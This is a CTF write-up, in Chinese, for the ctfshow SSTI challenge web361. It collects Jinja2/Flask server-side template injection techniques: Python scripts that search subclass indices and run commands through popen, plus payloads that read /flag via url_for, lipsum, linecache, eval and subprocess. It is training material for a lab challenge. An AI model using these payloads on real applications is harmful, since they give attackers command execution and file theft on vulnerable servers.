ctfshow_SSTI专题

web361

对已知的多种利用方式进行总结:

手法1:利用os._wrap_close

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import requests


def getshell():
while True:
cmd = input("cmd:")
url = "http://84f89eba-af90-4fff-9a71-18820b356a35.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('" + cmd + "').read()}}"
response = requests.get(url)
print(response.text)


def geturl():
for i in range(100, 200):
url = "http://84f89eba-af90-4fff-9a71-18820b356a35.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[" + str(i) + "]}}"
response = requests.get(url)
if "os._wrap_close" in response.text:
print(url)

getshell()

手法2:利用FileLoader类可以文件读取

利用方式:["get_data"](0, '/flag')

手法3:利用内建函数eval来代码执行

1
2
3
4
5
6
7
8
9
10
import requests
def geturl():
for i in range(200):
url = "http://0303a92a-4421-43e1-851b-ba1b0f6f2c1e.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"
response = requests.get(url)
if "eval" in response.text:
print(url)
break

geturl()

eval利用方式:['eval']('__import__("os").popen("cat /flag").read()')

手法4:利用flask内置函数url_forlipsum函数找到os
{{url_for.__globals__.os.popen("ls /").read()}}

{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

手法5:利用linecache类获取os
['linecache'].os.popen('cat /flag').read()

手法6:通过subprocess.Popen类
['subprocess'].Popen('cat /flag',shell=True,stdout=-1).communicate()[0]

绕过双花括号手法

思路是用{%%}先执行if语句测出命令执行函数的位置,再直接把验证好的继承链{% print() %}打印出来就好了。